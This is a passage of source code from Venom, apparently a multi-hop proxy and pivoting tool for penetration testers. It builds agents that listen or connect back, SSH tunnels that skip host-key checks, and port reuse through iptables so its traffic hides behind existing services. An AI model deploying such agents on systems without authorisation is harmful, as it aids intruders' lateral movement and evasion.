protocol.SshConnectPacketCmd 23 | 24 | node.CurrentNode.CommandBuffers[protocol.SSHCONNECT].ReadPacket(&packetHeader, &sshConnectPacketCmd) 25 | 26 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 27 | 28 | var sshConnectPacketRet protocol.SshConnectPacketRet 29 | var packetHeaderRet protocol.PacketHeader 30 | 31 | packetHeaderRet = protocol.PacketHeader{ 32 | Separator: global.PROTOCOL_SEPARATOR, 33 | CmdType: protocol.SSHCONNECT, 34 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 35 | DstHashID: packetHeader.SrcHashID, 36 | } 37 | 38 | var auth ssh.AuthMethod 39 | if sshConnectPacketCmd.SshAuthMethod == 1 { 40 | auth = ssh.Password(string(sshConnectPacketCmd.SshAuthData)) 41 | } else if sshConnectPacketCmd.SshAuthMethod == 2 { 42 | key, err := ssh.ParsePrivateKey(sshConnectPacketCmd.SshAuthData) 43 | if err != nil { 44 | sshConnectPacketRet.Success = 0 45 | sshConnectPacketRet.Msg = []byte("ssh key error") 46 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg)) 47 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet) 48 | continue 49 | } 50 | auth = ssh.PublicKeys(key) 51 | } 52 | 53 | config := ssh.ClientConfig{ 54 | User: string(sshConnectPacketCmd.SshUser), 55 | Auth: []ssh.AuthMethod{ 56 | auth, 57 | }, 58 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { 59 | return nil 60 | }, 61 | Timeout: time.Duration(time.Second * TIMEOUT), 62 | } 63 | 64 | sshClient, err := ssh.Dial( 65 | "tcp", 66 | fmt.Sprintf("%s:%d", utils.Uint32ToIp(sshConnectPacketCmd.SshServer).String(), sshConnectPacketCmd.SshPort), 67 | &config, 68 | ) 69 | 70 | if err != nil { 71 | sshConnectPacketRet.Success = 0 72 | sshConnectPacketRet.Msg = []byte(fmt.Sprintf("ssh connection error: %s", err)) 73 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg)) 74 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet) 75 | continue 76 | } 77 | 78 | nodeConn, err := sshClient.Dial("tcp", fmt.Sprintf("127.0.0.1:%d", sshConnectPacketCmd.DstPort)) 79 | 80 | if err != nil { 81 | sshConnectPacketRet.Success = 0 82 | sshConnectPacketRet.Msg = []byte(fmt.Sprintf("ssh connect to target node error: %s", err)) 83 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg)) 84 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet) 85 | continue 86 | } 87 | 88 | AgentClient(nodeConn) 89 | 90 | sshConnectPacketRet.Success = 1 91 | sshConnectPacketRet.MsgLen = 0 92 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet) 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /agent/dispather/ssh_iot.go: -------------------------------------------------------------------------------- 1 | // +build !386 2 | // +build !amd64 3 | 4 | package dispather 5 | 6 | import ( 7 | "github.com/Dliv3/Venom/global" 8 | "github.com/Dliv3/Venom/node" 9 | "github.com/Dliv3/Venom/protocol" 10 | "github.com/Dliv3/Venom/utils" 11 | ) 12 | 13 | func handleSshConnectCmd() { 14 | for { 15 | var packetHeader protocol.PacketHeader 16 | var sshConnectPacketCmd protocol.SshConnectPacketCmd 17 | 18 | node.CurrentNode.CommandBuffers[protocol.SSHCONNECT].ReadPacket(&packetHeader, &sshConnectPacketCmd) 19 | 20 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 21 | 22 | var sshConnectPacketRet protocol.SshConnectPacketRet 23 | 24 | packetHeaderRet := protocol.PacketHeader{ 25 | Separator: global.PROTOCOL_SEPARATOR, 26 | CmdType: protocol.SSHCONNECT, 27 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 28 | DstHashID: packetHeader.SrcHashID, 29 | } 30 | 31 | sshConnectPacketRet.Success = 0 32 | sshConnectPacketRet.Msg = []byte("iot device does not support ssh tunnel.") 33 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg)) 34 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /agent/init/agent_iot.go: -------------------------------------------------------------------------------- 1 | // +build !386 2 | // +build !amd64 3 | 4 | package init 5 | 6 | import ( 7 | "fmt" 8 | 9 | "github.com/Dliv3/Venom/agent/cli" 10 | "github.com/Dliv3/Venom/agent/dispather" 11 | "github.com/Dliv3/Venom/netio" 12 | ) 13 | 14 | func InitNode() { 15 | if cli.Args.Mode == cli.LISTEN_MODE { 16 | // 监听端口 17 | netio.InitNode( 18 | "listen", 19 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)), 20 | dispather.AgentServer, false, 0) 21 | } else { 22 | // 连接端口 23 | netio.InitNode( 24 | "connect", 25 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)), 26 | dispather.AgentClient, false, 0) 27 | } 28 | 29 | select {} 30 | } 31 | -------------------------------------------------------------------------------- /agent/init/agent_linux.go: -------------------------------------------------------------------------------- 1 | // +build linux 2 | // +build amd64 386 3 | 4 | package init 5 | 6 | import ( 7 | "fmt" 8 | "log" 9 | 10 | "github.com/Dliv3/Venom/agent/cli" 11 | "github.com/Dliv3/Venom/agent/dispather" 12 | "github.com/Dliv3/Venom/netio" 13 | "github.com/Dliv3/Venom/utils" 14 | ) 15 | 16 | func InitNode() { 17 | 18 | if cli.Args.Mode == cli.LISTEN_MODE { 19 | // 端口复用 20 | if cli.Args.ReusedPort != 0 { 21 | switch cli.Args.PortReuseMethod { 22 | case cli.SOCKET_REUSE_METHOD: 23 | netio.InitNode( 24 | "listen", 25 | fmt.Sprintf("%s:%d", cli.Args.LocalIP, uint16(cli.Args.ReusedPort)), 26 | dispather.AgentServer, true, uint16(cli.Args.ReusedPort)) 27 | case cli.IPTABLES_METHOD: 28 | defer utils.DeletePortReuseRules(uint16(cli.Args.LocalPort), uint16(cli.Args.ReusedPort)) 29 | err := utils.SetPortReuseRules(uint16(cli.Args.LocalPort), uint16(cli.Args.ReusedPort)) 30 | if err != nil { 31 | log.Println("[-]Add iptables rules error:", err) 32 | return 33 | } 34 | netio.InitNode( 35 | "listen", 36 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)), 37 | dispather.AgentServer, true, uint16(cli.Args.ReusedPort)) 38 | } 39 | } else { 40 | netio.InitNode( 41 | "listen", 42 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)), 43 | dispather.AgentServer, false, 0) 44 | } 45 | } else { 46 | // 连接端口 47 | netio.InitNode( 48 | "connect", 49 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)), 50 | dispather.AgentClient, false, 0) 51 | } 52 | 53 | select {} 54 | } 55 | -------------------------------------------------------------------------------- /agent/init/agent_others.go: -------------------------------------------------------------------------------- 1 | // +build windows darwin 2 | // +build amd64 386 3 | 4 | package init 5 | 6 | import ( 7 | "fmt" 8 | 9 | "github.com/Dliv3/Venom/agent/cli" 10 | "github.com/Dliv3/Venom/agent/dispather" 11 | "github.com/Dliv3/Venom/netio" 12 | ) 13 | 14 | func InitNode() { 15 | 16 | if cli.Args.Mode == cli.LISTEN_MODE { 17 | // 监听端口 18 | if cli.Args.ReusedPort != 0 { 19 | netio.InitNode( 20 | "listen", 21 | fmt.Sprintf("%s:%d", cli.Args.LocalIP, uint16(cli.Args.ReusedPort)), 22 | dispather.AgentServer, true, uint16(cli.Args.ReusedPort)) 23 | } else { 24 | netio.InitNode( 25 | "listen", 26 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)), 27 | dispather.AgentServer, false, 0) 28 | } 29 | } else { 30 | // 连接端口 31 | netio.InitNode( 32 | "connect", 33 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)), 34 | dispather.AgentClient, false, 0) 35 | } 36 | 37 | select {} 38 | } 39 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | echo "build macos x64 admin & agent..." 2 | CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o release/admin_macos_x64 admin/admin.go 3 | CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o release/agent_macos_x64 agent/agent.go 4 | 5 | echo "build linux x64 admin & agent..." 6 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o release/admin_linux_x64 admin/admin.go 7 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o release/agent_linux_x64 agent/agent.go 8 | 9 | echo "build linux x86 admin & agent..." 10 | CGO_ENABLED=0 GOOS=linux GOARCH=386 go build -ldflags "-s -w" -o release/admin_linux_x86 admin/admin.go 11 | CGO_ENABLED=0 GOOS=linux GOARCH=386 go build -ldflags "-s -w" -o release/agent_linux_x86 agent/agent.go 12 | 13 | echo "build windows x86 admin & agent..." 14 | CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o release/admin.exe admin/admin.go 15 | CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o release/agent.exe agent/agent.go 16 | 17 | # examples for iot: 18 | # arm eabi 5 19 | echo "build arm eabi5 agent..." 20 | CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=5 go build -ldflags "-s -w" -o release/agent_arm_eabi5 agent/agent.go 21 | # mips 32 little endian 22 | echo "build mipsel agent..." 23 | CGO_ENABLED=0 GOOS=linux GOARCH=mipsle go build -ldflags "-s -w" -o release/agent_mipsel_version1 agent/agent.go 24 | 25 | # a helper script 26 | cp -r scripts release -------------------------------------------------------------------------------- /crypto/aes.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "io" 8 | ) 9 | 10 | var OVERHEAD = aes.BlockSize 11 | 12 | // reference: https://golang.org/src/crypto/cipher/example_test.go 13 | // Special thanks to 00theway for his help. (https://github.com/00theway) 14 | 15 | // Encrypt AES CTR 16 | func Encrypt(plaintext, key []byte) ([]byte, error) { 17 | block, err := aes.NewCipher(key) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | // The IV needs to be unique, but not secure. Therefore it's common to 23 | // include it at the beginning of the ciphertext. 24 | ciphertext := make([]byte, aes.BlockSize+len(plaintext)) 25 | iv := ciphertext[:aes.BlockSize] 26 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 27 | return nil, err 28 | } 29 | 30 | stream := cipher.NewCTR(block, iv) 31 | stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext) 32 | return ciphertext, nil 33 | } 34 | 35 | // Decrypt AES CTR 36 | func Decrypt(ciphertext, key []byte) ([]byte, error) { 37 | // if len(ciphertext) < aes.BlockSize { 38 | // return nil, errors.New("ciphertext too short") 39 | // } 40 | 41 | block, err := aes.NewCipher(key) 42 | if err != nil { 43 | return nil, err 44 | } 45 | 46 | // CTR mode is the same for both encryption and decryption, so we can 47 | // also decrypt that ciphertext with NewCTR 48 | plaintext := make([]byte, len(ciphertext[aes.BlockSize:])) 49 | iv := ciphertext[:aes.BlockSize] 50 | stream := cipher.NewCTR(block, iv) 51 | stream.XORKeyStream(plaintext, ciphertext[aes.BlockSize:]) 52 | return plaintext, nil 53 | } 54 | -------------------------------------------------------------------------------- /crypto/crypto.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "github.com/Dliv3/Venom/global" 5 | ) 6 | 7 | // InitEncryption generate secret key、protocal separator、protocal feature 8 | func InitEncryption(passwd string) { 9 | if passwd != "" { 10 | global.SECRET_KEY = Md5Raw(passwd) 11 | global.PROTOCOL_SEPARATOR = string(Md5Raw(passwd + global.PROTOCOL_SEPARATOR)[:4]) 12 | global.PROTOCOL_FEATURE = string(Md5Raw(passwd + global.PROTOCOL_FEATURE)[:8]) 13 | } else { 14 | // 加密算法导致的缓冲区额外开销 15 | OVERHEAD = 0 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /crypto/hash.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/md5" 5 | "crypto/sha256" 6 | "encoding/hex" 7 | ) 8 | 9 | // Sha256 Hash 10 | func Sha256(text string) string { 11 | ctx := sha256.New() 12 | ctx.Write([]byte(text)) 13 | return hex.EncodeToString(ctx.Sum(nil)) 14 | } 15 | 16 | // Md5 Hash 17 | func Md5(text string) string { 18 | ctx := md5.New() 19 | ctx.Write([]byte(text)) 20 | return hex.EncodeToString(ctx.Sum(nil)) 21 | } 22 | 23 | // Md5 Hash return byte 24 | func Md5Raw(text string) []byte { 25 | ctx := md5.New() 26 | ctx.Write([]byte(text)) 27 | return ctx.Sum(nil) 28 | } 29 | -------------------------------------------------------------------------------- /docs/venom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dliv3/Venom/2b84e6846992399edf72eb6375825fc9062b2f01/docs/venom.png -------------------------------------------------------------------------------- /global/global.go: -------------------------------------------------------------------------------- 1 | // +build 386 amd64 2 | 3 | package global 4 | 5 | // 除去PacketHeader之外的部分最大允许使用的内存 6 | // 防止单个数据包占用内存过大 7 | const MAX_PACKET_SIZE = 20480 8 | 9 | // 一次最多可以承受7168个连接 10 | const TCP_MAX_CONNECTION = 1024 11 | 12 | // 命令&数据通道最大缓冲区大小 13 | const BUFFER_SIZE = 1024 14 | 15 | // 协议数据分隔符 16 | var PROTOCOL_SEPARATOR = "VCMD" 17 | 18 | // 协议特征, 用于在端口重用时鉴别 19 | var PROTOCOL_FEATURE = "ABCDEFGH" 20 | 21 | // 密钥 22 | var SECRET_KEY []byte 23 | -------------------------------------------------------------------------------- /global/global_iot.go: -------------------------------------------------------------------------------- 1 | // +build !386 2 | // +build !amd64 3 | 4 | package global 5 | 6 | // 除去PacketHeader之外的部分最大允许使用的内存 7 | // 防止单个数据包占用内存过大 8 | const MAX_PACKET_SIZE = 128 9 | 10 | // 一次最多可以承受16个连接 11 | const TCP_MAX_CONNECTION = 16 12 | 13 | // 命令&数据通道最大缓冲区大小 14 | const BUFFER_SIZE = 64 15 | 16 | // 协议数据分隔符 17 | var PROTOCOL_SEPARATOR = "VCMD" 18 | 19 | // 协议特征, 用于在端口重用时鉴别 20 | var PROTOCOL_FEATURE = "ABCDEFGH" 21 | 22 | // 密钥 23 | var SECRET_KEY []byte 24 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/Dliv3/Venom 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/cheggaaa/pb/v3 v3.0.1 7 | github.com/libp2p/go-reuseport v0.0.1 8 | golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7 9 | ) 10 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM= 2 | github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA= 3 | github.com/cheggaaa/pb/v3 v3.0.1 h1:m0BngUk2LuSRYdx4fujDKNRXNDpbNCfptPfVT2m6OJY= 4 | github.com/cheggaaa/pb/v3 v3.0.1/go.mod h1:SqqeMF/pMOIu3xgGoxtPYhMNQP258xE4x/XRTYua+KU= 5 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= 8 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= 9 | github.com/libp2p/go-reuseport v0.0.1 h1:7PhkfH73VXfPJYKQ6JwS5I/eVcoyYi9IMNGc6FWpFLw= 10 | github.com/libp2p/go-reuseport v0.0.1/go.mod h1:jn6RmB1ufnQwl0Q1f+YxAj8isJgDCQzaaxIFYDhcYEA= 11 | github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU= 12 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 13 | github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE= 14 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 15 | github.com/mattn/go-runewidth v0.0.4 h1:2BvfKmzob6Bmd4YsL0zygOqfdFnK7GR4QL06Do4/p7Y= 16 | github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= 17 | github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= 18 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 19 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 20 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 21 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 22 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= 23 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 24 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 25 | golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7 h1:0hQKqeLdqlt5iIwVOBErRisrHJAN57yOiPRQItI20fU= 26 | golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 27 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 28 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 29 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 30 | golang.org/x/sys v0.0.0-20190228124157-a34e9553db1e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 31 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 32 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 33 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 34 | -------------------------------------------------------------------------------- /netio/init.go: -------------------------------------------------------------------------------- 1 | package netio 2 | 3 | import ( 4 | "log" 5 | "net" 6 | 7 | "github.com/Dliv3/Venom/global" 8 | ) 9 | 10 | // InitNode 初始化网络连接 11 | // peerNodeID 存储需要通信(socks5/端口转发)的对端节点ID 12 | func InitTCP(tcpType string, tcpService string, peerNodeID string, handlerFunc func(net.Conn, string, chan bool, ...interface{}), args ...interface{}) (err error) { 13 | if tcpType == "connect" { 14 | addr, err := net.ResolveTCPAddr("tcp", tcpService) 15 | if err != nil { 16 | log.Println("[-]ResolveTCPAddr error:", err) 17 | return err 18 | } 19 | 20 | conn, err := net.DialTCP("tcp", nil, addr) 21 | if err != nil { 22 | log.Println("[-]DialTCP error:", err) 23 | return err 24 | } 25 | 26 | // conn.SetKeepAlive(true) 27 | 28 | go handlerFunc(conn, peerNodeID, nil, args) 29 | 30 | return err 31 | } else if tcpType == "listen" { 32 | var err error 33 | var listener net.Listener 34 | 35 | addr, err := net.ResolveTCPAddr("tcp", tcpService) 36 | if err != nil { 37 | log.Println("[-]ResolveTCPAddr error:", err) 38 | return err 39 | } 40 | listener, err = net.ListenTCP("tcp", addr) 41 | 42 | if err != nil { 43 | log.Println("[-]ListenTCP error:", err) 44 | return err 45 | } 46 | 47 | go func() { 48 | c := make(chan bool, global.TCP_MAX_CONNECTION) 49 | for { 50 | c <- true 51 | conn, err := listener.Accept() 52 | if err != nil { 53 | log.Println("[-]listener.Accept error:", err) 54 | // continue 55 | break 56 | } 57 | go handlerFunc(conn, peerNodeID, c, args) 58 | } 59 | }() 60 | return err 61 | } 62 | return INIT_TYPE_ERROR 63 | } 64 | -------------------------------------------------------------------------------- /netio/init_iot.go: -------------------------------------------------------------------------------- 1 | // +build !386 2 | // +build !amd64 3 | 4 | package netio 5 | 6 | import ( 7 | "errors" 8 | "fmt" 9 | "log" 10 | "net" 11 | ) 12 | 13 | var INIT_TYPE_ERROR = errors.New("init type error") 14 | 15 | func InitNode(tcpType string, tcpService string, handlerFunc func(net.Conn), portReuse bool, reusedPort uint16) (err error) { 16 | if portReuse { 17 | fmt.Println("iot device does not support port reuse.") 18 | return 19 | } 20 | if tcpType == "connect" { 21 | addr, err := net.ResolveTCPAddr("tcp", tcpService) 22 | if err != nil { 23 | log.Println("[-]ResolveTCPAddr error:", err) 24 | return err 25 | } 26 | 27 | conn, err := net.DialTCP("tcp", nil, addr) 28 | if err != nil { 29 | log.Println("[-]DialTCP error:", err) 30 | return err 31 | } 32 | 33 | conn.SetKeepAlive(true) 34 | 35 | go handlerFunc(conn) 36 | 37 | return nil 38 | } else if tcpType == "listen" { 39 | var err error 40 | var listener net.Listener 41 | 42 | addr, err := net.ResolveTCPAddr("tcp", tcpService) 43 | if err != nil { 44 | log.Println("[-]ResolveTCPAddr error:", err) 45 | return err 46 | } 47 | listener, err = net.ListenTCP("tcp", addr) 48 | 49 | if err != nil { 50 | log.Println("[-]ListenTCP error:", err) 51 | return err 52 | } 53 | 54 | go func() { 55 | for { 56 | conn, err := listener.Accept() 57 | if err != nil { 58 | log.Println("[-]listener.Accept error:", err) 59 | // continue 60 | break 61 | } 62 | 63 | go handlerFunc(conn) 64 | } 65 | }() 66 | return nil 67 | } 68 | return INIT_TYPE_ERROR 69 | } 70 | -------------------------------------------------------------------------------- /netio/init_others.go: -------------------------------------------------------------------------------- 1 | // +build 386 amd64 2 | 3 | package netio 4 | 5 | import ( 6 | "errors" 7 | "fmt" 8 | "log" 9 | "net" 10 | "time" 11 | 12 | "github.com/Dliv3/Venom/global" 13 | reuseport "github.com/libp2p/go-reuseport" 14 | ) 15 | 16 | var INIT_TYPE_ERROR = errors.New("init type error") 17 | 18 | const TIMEOUT = 2 19 | 20 | // InitNode 初始化节点间网络连接 21 | // handleFunc 处理net.Conn的函数 22 | // portReuse 是否以端口重用的方式初始化网络连接 23 | // reusedPort 被复用的端口,如果不使用端口复用,直接置零即可 24 | func InitNode(tcpType string, tcpService string, handlerFunc func(net.Conn), portReuse bool, reusedPort uint16) (err error) { 25 | if tcpType == "connect" { 26 | addr, err := net.ResolveTCPAddr("tcp", tcpService) 27 | if err != nil { 28 | log.Println("[-]ResolveTCPAddr error:", err) 29 | return err 30 | } 31 | 32 | conn, err := net.DialTCP("tcp", nil, addr) 33 | if err != nil { 34 | log.Println("[-]DialTCP error:", err) 35 | return err 36 | } 37 | 38 | conn.SetKeepAlive(true) 39 | 40 | go handlerFunc(conn) 41 | 42 | return nil 43 | } else if tcpType == "listen" { 44 | var err error 45 | var listener net.Listener 46 | 47 | if portReuse { 48 | listener, err = reuseport.Listen("tcp", tcpService) 49 | } else { 50 | addr, err := net.ResolveTCPAddr("tcp", tcpService) 51 | if err != nil { 52 | log.Println("[-]ResolveTCPAddr error:", err) 53 | return err 54 | } 55 | listener, err = net.ListenTCP("tcp", addr) 56 | } 57 | 58 | if err != nil { 59 | log.Println("[-]ListenTCP error:", err) 60 | return err 61 | } 62 | 63 | go func() { 64 | for { 65 | conn, err := listener.Accept() 66 | if err != nil { 67 | log.Println("[-]listener.Accept error:", err) 68 | // continue 69 | break 70 | } 71 | 72 | if portReuse { 73 | appProtocol, data, timeout := isAppProtocol(conn) 74 | if appProtocol || (!appProtocol && timeout) { 75 | go func() { 76 | // port := strings.Split(tcpService, ":")[1] 77 | addr, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("127.0.0.1:%d", reusedPort)) 78 | if err != nil { 79 | log.Println("[-]ResolveTCPAddr error:", err) 80 | return 81 | } 82 | 83 | server, err := net.DialTCP("tcp", nil, addr) 84 | if err != nil { 85 | log.Println("[-]DialTCP error:", err) 86 | return 87 | } 88 | 89 | Write(server, data) 90 | go NetCopy(conn, server) 91 | NetCopy(server, conn) 92 | }() 93 | continue 94 | } 95 | } 96 | go handlerFunc(conn) 97 | } 98 | }() 99 | return nil 100 | } 101 | return INIT_TYPE_ERROR 102 | } 103 | 104 | // isAppProtocol 105 | // 返回值的第一个参数是标识协议是否为应用协议,判断前8字节是否为Venom发送的ABCDEFGH 106 | // 如果不是则为应用协议,否则为Venom协议 107 | func isAppProtocol(conn net.Conn) (bool, []byte, bool) { 108 | var protocol = make([]byte, len(global.PROTOCOL_FEATURE)) 109 | 110 | defer conn.SetReadDeadline(time.Time{}) 111 | 112 | conn.SetReadDeadline(time.Now().Add(TIMEOUT * time.Second)) 113 | 114 | count, err := Read(conn, protocol) 115 | 116 | timeout := false 117 | 118 | if err != nil { 119 | if netErr, ok := err.(net.Error); ok && netErr.Timeout() { 120 | timeout = true 121 | // mysql etc 122 | // fmt.Println("timeout") 123 | return false, protocol[:count], timeout 124 | } else { 125 | log.Println("[-]Read protocol packet error: ", err) 126 | return false, protocol[:count], timeout 127 | } 128 | } 129 | 130 | if string(protocol) == global.PROTOCOL_FEATURE { 131 | // is node 132 | return false, protocol[:count], timeout 133 | } else { 134 | // http etc 135 | return true, protocol[:count], timeout 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /netio/netio.go: -------------------------------------------------------------------------------- 1 | package netio 2 | 3 | import ( 4 | "errors" 5 | "io" 6 | "log" 7 | "net" 8 | "reflect" 9 | 10 | "github.com/Dliv3/Venom/crypto" 11 | "github.com/Dliv3/Venom/global" 12 | "github.com/Dliv3/Venom/utils" 13 | ) 14 | 15 | // WritePacket write packet to node.Conn 16 | func WritePacket(output io.Writer, packet interface{}) error { 17 | t := reflect.TypeOf(packet) 18 | v := reflect.ValueOf(packet) 19 | 20 | if k := t.Kind(); k != reflect.Struct { 21 | return errors.New("second param is not struct") 22 | } 23 | 24 | count := t.NumField() 25 | for i := 0; i < count; i++ { 26 | val := v.Field(i).Interface() 27 | 28 | // type switch 29 | switch value := val.(type) { 30 | case uint16: 31 | _, err := Write(output, utils.Uint16ToBytes(value)) 32 | if err != nil { 33 | return err 34 | } 35 | case uint32: 36 | _, err := Write(output, utils.Uint32ToBytes(value)) 37 | if err != nil { 38 | return err 39 | } 40 | case uint64: 41 | _, err := Write(output, utils.Uint64ToBytes(value)) 42 | if err != nil { 43 | return err 44 | } 45 | case string: 46 | _, err := Write(output, []byte(value)) 47 | if err != nil { 48 | return err 49 | } 50 | case []byte: 51 | _, err := Write(output, value) 52 | if err != nil { 53 | return err 54 | } 55 | case [2]byte: 56 | _, err := Write(output, value[0:]) 57 | if err != nil { 58 | return err 59 | } 60 | case [4]byte: 61 | _, err := Write(output, value[0:]) 62 | if err != nil { 63 | return err 64 | } 65 | case [32]byte: 66 | _, err := Write(output, value[0:]) 67 | if err != nil { 68 | return err 69 | } 70 | default: 71 | return errors.New("type unsupport") 72 | } 73 | } 74 | return nil 75 | } 76 | 77 | // ReadPacket read packet from node.Conn 78 | // packet data start from the packet separator 79 | func ReadPacket(input io.Reader, packet interface{}) error { 80 | v := reflect.ValueOf(packet) 81 | t := reflect.TypeOf(packet) 82 | 83 | if v.Kind() == reflect.Ptr && !v.Elem().CanSet() { 84 | return errors.New("packet is not a reflect. Ptr or elem can not be setted") 85 | } 86 | 87 | v = v.Elem() 88 | 89 | t = t.Elem() 90 | count := t.NumField() 91 | 92 | for i := 0; i < count; i++ { 93 | val := v.Field(i).Interface() 94 | f := v.FieldByName(t.Field(i).Name) 95 | 96 | // 类型断言 97 | switch val.(type) { 98 | case string: 99 | // 字段为分隔符,只有分隔符字段可被设置成string类型 100 | // 在处理协议数据包之前,首先读取到协议数据分隔符 101 | // 分隔符为协议结构体的第一个数据 102 | if i == 0 { 103 | separator, err := readUntilSeparator(input, global.PROTOCOL_SEPARATOR) 104 | if err != nil { 105 | return err 106 | } 107 | f.SetString(separator) 108 | } 109 | case uint16: 110 | var buf [2]byte 111 | _, err := Read(input, buf[0:]) 112 | if err != nil { 113 | return err 